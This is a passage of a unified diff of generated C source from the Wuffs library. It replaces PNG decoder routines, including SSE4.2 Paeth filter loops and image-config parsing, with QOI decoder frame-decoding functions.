_mm_unpacklo_epi8(v_b128, v_z128); -- v_pa128 = _mm_sub_epi16(v_b128, v_c128); -- v_pb128 = _mm_sub_epi16(v_a128, v_c128); -- v_pc128 = _mm_add_epi16(v_pa128, v_pb128); -- v_pa128 = _mm_abs_epi16(v_pa128); -- v_pb128 = _mm_abs_epi16(v_pb128); -- v_pc128 = _mm_abs_epi16(v_pc128); -- v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); -- v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); -- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); -- v_x128 = _mm_add_epi8(v_x128, v_p128); -- v_a128 = v_x128; -- v_c128 = v_b128; -- v_x128 = _mm_packus_epi16(v_x128, v_x128); -- wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -- v_curr.ptr += 3; -- v_prev.ptr += 3; -- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -- v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); -- v_pa128 = _mm_sub_epi16(v_b128, v_c128); -- v_pb128 = _mm_sub_epi16(v_a128, v_c128); -- v_pc128 = _mm_add_epi16(v_pa128, v_pb128); -- v_pa128 = _mm_abs_epi16(v_pa128); -- v_pb128 = _mm_abs_epi16(v_pb128); -- v_pc128 = _mm_abs_epi16(v_pc128); -- v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); -- v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); -- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); -- v_x128 = _mm_add_epi8(v_x128, v_p128); -- v_a128 = v_x128; -- v_c128 = v_b128; -- v_x128 = _mm_packus_epi16(v_x128, v_x128); -- wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -- v_curr.ptr += 3; -- v_prev.ptr += 3; -- } -- v_curr.len = 4; -- v_prev.len = 4; -- uint8_t* i_end1_curr = v_curr.ptr + wuffs_base__iterate_total_advance((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)), 4, 3); -- while (v_curr.ptr < i_end1_curr) { -- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -- v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); -- v_pa128 = _mm_sub_epi16(v_b128, v_c128); -- v_pb128 = _mm_sub_epi16(v_a128, v_c128); -- v_pc128 = _mm_add_epi16(v_pa128, v_pb128); -- v_pa128 = _mm_abs_epi16(v_pa128); -- v_pb128 = _mm_abs_epi16(v_pb128); -- v_pc128 = _mm_abs_epi16(v_pc128); -- v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); -- v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); -- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); -- v_x128 = _mm_add_epi8(v_x128, v_p128); -- v_a128 = v_x128; -- v_c128 = v_b128; -- v_x128 = _mm_packus_epi16(v_x128, v_x128); -- wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -- v_curr.ptr += 3; -- v_prev.ptr += 3; -- } -- v_curr.len = 3; -- v_prev.len = 3; -- uint8_t* i_end2_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3); -- while (v_curr.ptr < i_end2_curr) { -- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u24le__no_bounds_check(v_prev.ptr))); -- v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); -- v_pa128 = _mm_sub_epi16(v_b128, v_c128); -- v_pb128 = _mm_sub_epi16(v_a128, v_c128); -- v_pc128 = _mm_add_epi16(v_pa128, v_pb128); -- v_pa128 = _mm_abs_epi16(v_pa128); -- v_pb128 = _mm_abs_epi16(v_pb128); -- v_pc128 = _mm_abs_epi16(v_pc128); -- v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); -- v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); -- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u24le__no_bounds_check(v_curr.ptr))); -- v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); -- v_x128 = _mm_add_epi8(v_x128, v_p128); -- v_x128 = _mm_packus_epi16(v_x128, v_x128); -- wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -- v_curr.ptr += 3; -- v_prev.ptr += 3; -- } -- v_curr.len = 0; -- v_prev.len = 0; -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; - } -- return wuffs_base__make_empty_struct(); -+ return status; - } --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 - --// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 --// -------- func png.decoder.filter_4_distance_4_x86_sse42 -+// -------- func qoi.decoder.do_decode_frame_config - --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_4_distance_4_x86_sse42( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev) { -- wuffs_base__slice_u8 v_curr = {0}; -- wuffs_base__slice_u8 v_prev = {0}; -- __m128i v_x128 = {0}; -- __m128i v_a128 = {0}; -- __m128i v_b128 = {0}; -- __m128i v_c128 = {0}; -- __m128i v_p128 = {0}; -- __m128i v_pa128 = {0}; -- __m128i v_pb128 = {0}; -- __m128i v_pc128 = {0}; -- __m128i v_smallest128 = {0}; -- __m128i v_z128 = {0}; -+static wuffs_base__status -+wuffs_qoi__decoder__do_decode_frame_config( -+ wuffs_qoi__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); - -- { -- wuffs_base__slice_u8 i_slice_curr = a_curr; -- v_curr.ptr = i_slice_curr.ptr; -- wuffs_base__slice_u8 i_slice_prev = a_prev; -- v_prev.ptr = i_slice_prev.ptr; -- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); -- v_curr.len = 4; -- v_prev.len = 4; -- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8); -- while (v_curr.ptr < i_end0_curr) { -- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -- v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); -- v_pa128 = _mm_sub_epi16(v_b128, v_c128); -- v_pb128 = _mm_sub_epi16(v_a128, v_c128); -- v_pc128 = _mm_add_epi16(v_pa128, v_pb128); -- v_pa128 = _mm_abs_epi16(v_pa128); -- v_pb128 = _mm_abs_epi16(v_pb128); -- v_pc128 = _mm_abs_epi16(v_pc128); -- v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); -- v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); -- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); -- v_x128 = _mm_add_epi8(v_x128, v_p128); -- v_a128 = v_x128; -- v_c128 = v_b128; -- v_x128 = _mm_packus_epi16(v_x128, v_x128); -- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -- v_curr.ptr += 4; -- v_prev.ptr += 4; -- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -- v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); -- v_pa128 = _mm_sub_epi16(v_b128, v_c128); -- v_pb128 = _mm_sub_epi16(v_a128, v_c128); -- v_pc128 = _mm_add_epi16(v_pa128, v_pb128); -- v_pa128 = _mm_abs_epi16(v_pa128); -- v_pb128 = _mm_abs_epi16(v_pb128); -- v_pc128 = _mm_abs_epi16(v_pc128); -- v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); -- v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); -- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); -- v_x128 = _mm_add_epi8(v_x128, v_p128); -- v_a128 = v_x128; -- v_c128 = v_b128; -- v_x128 = _mm_packus_epi16(v_x128, v_x128); -- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -- v_curr.ptr += 4; -- v_prev.ptr += 4; -- } -- v_curr.len = 4; -- v_prev.len = 4; -- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); -- while (v_curr.ptr < i_end1_curr) { -- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -- v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); -- v_pa128 = _mm_sub_epi16(v_b128, v_c128); -- v_pb128 = _mm_sub_epi16(v_a128, v_c128); -- v_pc128 = _mm_add_epi16(v_pa128, v_pb128); -- v_pa128 = _mm_abs_epi16(v_pa128); -- v_pb128 = _mm_abs_epi16(v_pb128); -- v_pc128 = _mm_abs_epi16(v_pc128); -- v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); -- v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); -- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); -- v_x128 = _mm_add_epi8(v_x128, v_p128); -- v_a128 = v_x128; -- v_c128 = v_b128; -- v_x128 = _mm_packus_epi16(v_x128, v_x128); -- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -- v_curr.ptr += 4; -- v_prev.ptr += 4; -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_call_sequence == 32u) { -+ } else if (self->private_impl.f_call_sequence < 32u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_qoi__decoder__do_decode_image_config(self, NULL, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } else if (self->private_impl.f_call_sequence == 40u) { -+ if (16u != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_restart); -+ goto exit; -+ } -+ } else if (self->private_impl.f_call_sequence == 64u) { -+ self->private_impl.f_call_sequence = 96u; -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; -+ } else { -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; - } -- v_curr.len = 0; -- v_prev.len = 0; -- } -- return wuffs_base__make_empty_struct(); --} --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 -- --// -------- func png.decoder.get_quirk -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_png__decoder__get_quirk( -- const wuffs_png__decoder* self, -- uint32_t a_key) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -+ if (a_dst != NULL) { -+ wuffs_base__frame_config__set( -+ a_dst, -+ wuffs_base__utility__make_rect_ie_u32( -+ 0u, -+ 0u, -+ self->private_impl.f_width, -+ self->private_impl.f_height), -+ ((wuffs_base__flicks)(0u)), -+ 0u, -+ 14u, -+ 0u, -+ (self->private_impl.f_pixfmt == 2415954056u), -+ false, -+ 0u); -+ } -+ self->private_impl.f_call_sequence = 64u; - -- if ((a_key == 1u) && self->private_impl.f_ignore_checksum) { -- return 1u; -+ ok: -+ self->private_impl.p_do_decode_frame_config = 0; -+ goto exit; - } -- return 0u; --} - --// -------- func png.decoder.set_quirk -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_png__decoder__set_quirk( -- wuffs_png__decoder* self, -- uint32_t a_key, -- uint64_t a_value) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } - -- if (a_key == 1u) { -- self->private_impl.f_ignore_checksum = (a_value > 0u); -- wuffs_zlib__decoder__set_quirk(&self->private_data.f_zlib, a_key, a_value); -- return wuffs_base__make_status(NULL); -- } -- return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+ return status; - } - --// -------- func png.decoder.decode_image_config -+// -------- func qoi.decoder.decode_frame - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_png__decoder__decode_image_config( -- wuffs_png__decoder* self, -- wuffs_base__image_config* a_dst, -- wuffs_base__io_buffer* a_src) { -+wuffs_qoi__decoder__decode_frame( -+ wuffs_qoi__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts) { - if (!self) { - return wuffs_base__make_status(wuffs_base__error__bad_receiver); - } -@@ -54464,12 +67805,12 @@ wuffs_png__decoder__decode_image_config( - ? wuffs_base__error__disabled_by_previous_error - : wuffs_base__error__initialize_not_called); - } -- if (!a_src) { -+ if (!a_dst || !a_src) { - self->private_impl.magic = WUFFS_BASE__DISABLED; - return wuffs_base__make_status(wuffs_base__error__bad_argument); - } - if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 1)) { -+ (self->private_impl.active_coroutine != 3)) { - self->private_impl.magic = WUFFS_BASE__DISABLED; - return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); - } -@@ -54478,17 +67819,22 @@ wuffs_png__decoder__decode_image_config( - - wuffs_base__status v_status = wuffs_base__make_status(NULL); - -- uint32_t coro_susp_point = self->private_impl.p_decode_image_config[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_frame; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - - while (true) { - { -- wuffs_base__status t_0 = wuffs_png__decoder__do_decode_image_config(self, a_dst, a_src); -+ wuffs_base__status t_0 = wuffs_qoi__decoder__do_decode_frame(self, -+ a_dst, -+ a_src, -+ a_blend, -+ a_workbuf, -+ a_opts); - v_status = t_0; - } - if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_png__error__truncated_input); -+ status = wuffs_base__make_status(wuffs_qoi__error__truncated_input); - goto exit; - } - status = v_status; -@@ -54496,14 +67842,14 @@ wuffs_png__decoder__decode_image_config( - } - - ok: -- self->private_impl.p_decode_image_config[0] = 0; -+ self->private_impl.p_decode_frame = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -+ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; - - goto exit; - exit: -@@ -54513,21 +67859,21 @@ wuffs_png__decoder__decode_image_config( - return status; - } - --// -------- func png.decoder.do_decode_image_config -+// -------- func qoi.decoder.do_decode_frame - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_png__decoder__do_decode_image_config( -- wuffs_png__decoder* self, -- wuffs_base__image_config* a_dst, -- wuffs_base__io_buffer* a_src) { -+wuffs_qoi__decoder__do_decode_frame( -+ wuffs_qoi__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint64_t v_magic = 0; -- uint64_t v_mark = 0; -- uint32_t v_checksum_have = 0; -- uint32_t v_checksum_want = 0; - wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ uint64_t v_c64 = 0; - - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -54540,281 +67886,332 @@ wuffs_png__decoder__do_decode_image_config( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config[0]; -- if (coro_susp_point) { -- v_checksum_have = self->private_data.s_do_decode_image_config[0].v_checksum_have; -- } -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if (self->private_impl.f_call_sequence != 0u) { -- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -- goto exit; -- } else if ( ! self->private_impl.f_seen_ihdr) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- uint64_t t_0; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { -- t_0 = wuffs_base__peek_u64le__no_bounds_check(iop_a_src); -- iop_a_src += 8; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; -- if (num_bits_0 == 56) { -- t_0 = ((uint64_t)(*scratch)); -- break; -- } -- num_bits_0 += 8u; -- *scratch |= ((uint64_t)(num_bits_0)) << 56; -- } -- } -- v_magic = t_0; -+ if (self->private_impl.f_call_sequence == 64u) { -+ } else if (self->private_impl.f_call_sequence < 64u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- if (v_magic != 727905341920923785u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_header); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_qoi__decoder__do_decode_frame_config(self, NULL, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } else { -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; -+ } -+ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, -+ wuffs_base__pixel_buffer__pixel_format(a_dst), -+ wuffs_base__pixel_buffer__palette(a_dst), -+ wuffs_base__utility__make_pixel_format(self->private_impl.f_pixfmt), -+ wuffs_base__utility__empty_slice_u8(), -+ a_blend); -+ if ( ! wuffs_base__status__is_ok(&v_status)) { -+ status = v_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); - goto exit; - } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- uint64_t t_1; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { -- t_1 = wuffs_base__peek_u64le__no_bounds_check(iop_a_src); -- iop_a_src += 8; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; -- if (num_bits_1 == 56) { -- t_1 = ((uint64_t)(*scratch)); -- break; -- } -- num_bits_1 += 8u; -- *scratch |= ((uint64_t)(num_bits_1)) << 56; -- } -- } -- v_magic = t_1; -+ goto ok; -+ } -+ self->private_impl.f_dst_x = 0u; -+ self->private_impl.f_dst_y = 0u; -+ self->private_data.f_pixel[0u] = 0u; -+ self->private_data.f_pixel[1u] = 0u; -+ self->private_data.f_pixel[2u] = 0u; -+ self->private_data.f_pixel[3u] = 255u; -+ wuffs_private_impl__bulk_memset(&self->private_data.f_cache[0], 256u, 0u); -+ self->private_impl.f_remaining_pixels_times_4 = (((uint64_t)(self->private_impl.f_width)) * ((uint64_t)(self->private_impl.f_height)) * 4u); -+ while (self->private_impl.f_remaining_pixels_times_4 > 0u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- if (v_magic != 5927942488114331648u) { -- if (v_magic == 5278895250759221248u) { -- status = wuffs_base__make_status(wuffs_png__error__unsupported_cgbi_extension); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ status = wuffs_qoi__decoder__from_src_to_buffer(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ if (self->private_impl.f_remaining_pixels_times_4 < ((uint64_t)(self->private_impl.f_buffer_index))) { -+ status = wuffs_base__make_status(wuffs_base__error__too_much_data); -+ goto exit; -+ } -+ self->private_impl.f_remaining_pixels_times_4 -= ((uint64_t)(self->private_impl.f_buffer_index)); -+ v_status = wuffs_qoi__decoder__from_buffer_to_dst(self, a_dst); -+ if ( ! wuffs_base__status__is_ok(&v_status)) { -+ status = v_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); - goto exit; - } -- status = wuffs_base__make_status(wuffs_png__error__bad_header); -- goto exit; -+ goto ok; - } -- self->private_impl.f_chunk_type_array[0u] = 73u; -- self->private_impl.f_chunk_type_array[1u] = 72u; -- self->private_impl.f_chunk_type_array[2u] = 68u; -- self->private_impl.f_chunk_type_array[3u] = 82u; -- wuffs_base__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, -- sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); -- wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__make_slice_u8(self->private_impl.f_chunk_type_array, 4)); -- while (true) { -- v_mark = ((uint64_t)(iop_a_src - io0_a_src)); -- { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ uint64_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { -+ t_0 = wuffs_base__peek_u64be__no_bounds_check(iop_a_src); -+ iop_a_src += 8; -+ } else { -+ self->private_data.s_do_decode_frame.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -- wuffs_base__status t_2 = wuffs_png__decoder__decode_ihdr(self, a_src); -- v_status = t_2; -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ uint64_t* scratch = &self->private_data.s_do_decode_frame.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); -+ if (num_bits_0 == 56) { -+ t_0 = ((uint64_t)(*scratch >> 0)); -+ break; - } -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)); - } -- if ( ! self->private_impl.f_ignore_checksum) { -- v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__io__since(v_mark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); -- } -- if (wuffs_base__status__is_ok(&v_status)) { -- break; -- } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); - } -+ v_c64 = t_0; -+ } -+ if (v_c64 != 1u) { -+ status = wuffs_base__make_status(wuffs_qoi__error__bad_footer); -+ goto exit; -+ } -+ self->private_impl.f_call_sequence = 96u; -+ -+ ok: -+ self->private_impl.p_do_decode_frame = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func qoi.decoder.from_src_to_buffer -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_qoi__decoder__from_src_to_buffer( -+ wuffs_qoi__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_c8 = 0; -+ uint8_t v_dg = 0; -+ uint32_t v_bi = 0; -+ uint32_t v_bj = 0; -+ uint32_t v_bk = 0; -+ uint32_t v_ci = 0; -+ uint32_t v_hash4 = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = 